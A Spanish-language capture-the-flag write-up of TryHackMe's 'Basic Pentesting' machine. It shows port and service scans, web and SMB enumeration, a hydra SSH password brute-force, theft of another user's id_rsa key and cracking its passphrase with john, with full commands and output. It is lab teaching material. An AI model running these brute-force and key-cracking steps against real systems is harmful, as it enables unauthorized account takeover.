Basic Pentesting Writeup - TryHackMe
¡Hola!
En este writeup, exploraremos la máquina Basic Pentesting de TryHackMe, la cual se clasifica como de dificultad fácil en la plataforma. Durante este desafío, realizaremos una enumeración web y SMB para descubrir posibles usuarios. Luego, llevaremos a cabo un ataque de fuerza bruta en el servicio SSH para encontrar una contraseña válida. Por último, escalaremos privilegios al romper el hash de la clave id_rsa y obtendremos acceso a través de SSH con un usuario de mayor privilegio.
¡Empecemos!
Reconocimiento activo
Como primer paso, lanzamos el comando ping
desde nuestro equipo atacante para verificar si la máquina objetivo está activa.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.132.236
PING 10.10.132.236 (10.10.132.236) 56(84) bytes of data.
64 bytes from 10.10.132.236: icmp_seq=1 ttl=61 time=278 ms
--- 10.10.132.236 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 277.869/277.869/277.869/0.000 ms
Dado que el TTL
es cercano a 64, podemos inferir que la máquina objetivo probablemente sea Linux.
Escaneo
A continuación, realizamos un escaneo con Nmap
para identificar los puertos abiertos en el sistema objetivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ nmap -p- --open -n -sS -Pn --min-rate 5000 10.10.132.236 -oG allPorts.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-19 22:33 -05
Nmap scan report for 10.10.132.236
Host is up (0.34s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8009/tcp open ajp13
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 22.30 seconds
Enumeración
Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap
para realizar pruebas complementarias sobre los puertos y servicios identificados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
❯ nmap -p 22,80,139,445,8009,8080 -sV -sC --min-rate 5000 10.10.132.236 -oN services.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-19 22:36 -05
Nmap scan report for 10.10.132.236
Host is up (0.42s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
| 256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_ 256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.7
|_http-title: Apache Tomcat/9.0.7
|_http-favicon: Apache Tomcat
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-05-20T03:36:53
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2023-05-19T23:36:51-04:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.71 seconds
El reporte revela que la máquina cuenta con varios servicios HTTP y el servicio SMB en funcionamiento.
HTTP - 80
Al acceder al servicio web, nos encontramos con la siguiente página, la cual aparentemente se encuentra en mantenimiento.
Al inspeccionar el código fuente de la página web, nos encontramos con el siguiente comentario:
A continuación, procedimos a realizar fuzzing de directorios utilizando la herramienta wfuzz
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ wfuzz -c -L -t 200 --hc=404,403 --hh=158 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.132.236/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.132.236/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000658: 200 17 L 69 W 1132 Ch "development"
Total time: 0
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: 0
En resultado nos muestra únicamente la ruta development
, así que procedimos a inspeccionar para ver de que se trata.
Al explorar el directorio, nos percatamos de que se trata de un listado de directorios que muestra un par de archivos de texto. Decidimos acceder a los archivos .txt
para examinar su contenido.
Al parecer son notas del desarrollador, la última nos revela que el usuario J
tiene una contraseña débil que fácilmente puede ser crackeada.
HTTP - 8080
Por otro lado, en el puerto 8080 tenemos una página web por defecto de Tomcat.
SMB - 139/445
Proseguimos con la enumeración del servicio SMB, donde comenzamos por listar los recursos compartidos, obteniendo el siguiente resultado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ smbclient -L //10.10.132.236 -N
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP BASIC2
Uno de los recursos que nos ha llamado particularmente la atención es el denominado Anonymous
, por lo que hemos procedido a descargarlo con el fin de realizar una inspección detallada.
1
2
3
4
5
6
7
8
9
10
❯ smbclient //10.10.132.236/Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 12:31:20 2018
.. D 0 Thu Apr 19 12:13:06 2018
staff.txt N 173 Thu Apr 19 12:29:55 2018
14318640 blocks of size 1024. 11058056 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0,2 KiloBytes/sec) (average 0,2 KiloBytes/sec)
Al leer el archivo, nos encontramos con la siguiente información:
1
2
3
4
5
6
7
8
9
10
11
❯ cat staff.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: staff.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ Announcement to staff:
2 │
3 │ PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
4 │ this is how mistakes happen. (This means you too, Jan!)
5 │
6 │ -Kay
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
De acuerdo a la nota previa, podemos identificar la presencia de dos posibles usuarios: Jan y Kay. Es probable que estos nombres estén relacionados con las menciones encontradas en las notas de los desarrolladores.
Explotación
Fuerza bruta sobre el servicio SSH
Considerando la presencia de los usuarios Jan y Kay, podríamos llevar a cabo un ataque de fuerza bruta en el servicio SSH con el objetivo de identificar posibles contraseñas.
1
2
3
4
5
6
7
8
9
10
11
❯ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.132.236 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-19 23:28:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28688798 login tries (l:2/p:14344399), ~1793050 tries per task
[DATA] attacking ssh://10.10.132.236:22/
[STATUS] 146.00 tries/min, 146 tries in 00:01h, 28688655 to do in 3274:58h, 13 active
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 28688525 to do in 5197:12h, 13 active
[STATUS] 88.71 tries/min, 621 tries in 00:07h, 28688180 to do in 5389:38h, 13 active
[22][ssh] host: 10.10.132.236 login: jan password: armando
Hemos logrado obtener la contraseña válida para el usuario Jan, lo que nos permite ahora acceder a la máquina de forma segura mediante SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ ssh jan@10.10.132.236
The authenticity of host '10.10.132.236 (10.10.132.236)' can't be established.
ED25519 key fingerprint is SHA256:XKjDkLKocbzjCch0Tpriw1PeLPuzDufTGZa4xMDA+o4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.132.236' (ED25519) to the list of known hosts.
jan@10.10.132.236's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$
Escalación de privilegios
Al listar los archivos en la ruta del usuario Jan, nos encontramos con un único archivo oculto que posee permisos de lectura y escritura exclusivos para el usuario root.
1
2
3
4
5
jan@basic2:~$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 root jan 47 Apr 23 2018 .lesshst
Por otro lado, al explorar la ruta del usuario Kay, encontramos los siguientes directorios y archivos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
jan@basic2:/home/kay$ ls -al
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
Uno de los archivos más interesantes que encontramos es pass.bak
, pero para poder leer su contenido es necesario ser el usuario Kay.
Además, al acceder al directorio .ssh
, descubrimos la presencia de una clave id_rsa
, a la cual tenemos permisos de lectura.
1
2
3
4
5
6
7
jan@basic2:/home/kay/.ssh$ ls -al
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
Podemos utilizar la clave id_rsa
para acceder a la máquina como usuario Kay. Antes de proceder, debemos asegurarnos de otorgar los permisos necesarios para utilizar la clave de forma adecuada.
1
❯ chmod 600 id_rsa
Una vez otorgados los permisos necesarios a la clave id_rsa
, podemos proceder a acceder a la máquina utilizando dicha clave como autenticación.
1
2
❯ ssh kay@10.10.132.236 -i id_rsa
Enter passphrase for key 'id_rsa':
Dado que la clave id_rsa
está encriptada y se nos solicita una contraseña para desencriptarla, podemos utilizar la herramienta ssh2john
para convertir la clave id_rsa
a un formato compatible con John the Ripper. De esta manera, podremos intentar crackear la contraseña de la clave.
1
❯ ssh2john id_rsa > hash_id_rsa
Ahora que tenemos el hash resultante de la clave id_rsa
, podemos proporcionarlo a la herramienta john
para que intente realizar un proceso de cracking y así obtener la contraseña original de la clave.
1
2
3
4
5
6
7
8
9
10
11
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_id_rsa
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
1g 0:00:00:00 DONE (2023-05-20 00:16) 20.00g/s 1655Kp/s 1655Kc/s 1655KC/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Excelente. Hemos logrado obtener la contraseña para la clave id_rsa
y ahora podemos acceder a la máquina como usuario Kay.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ssh kay@10.10.132.236 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$
Una vez como usuario Kay ya podemos leer la contraseña final.
1
2
3
4
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrong***********************************
¡Happy Hacking!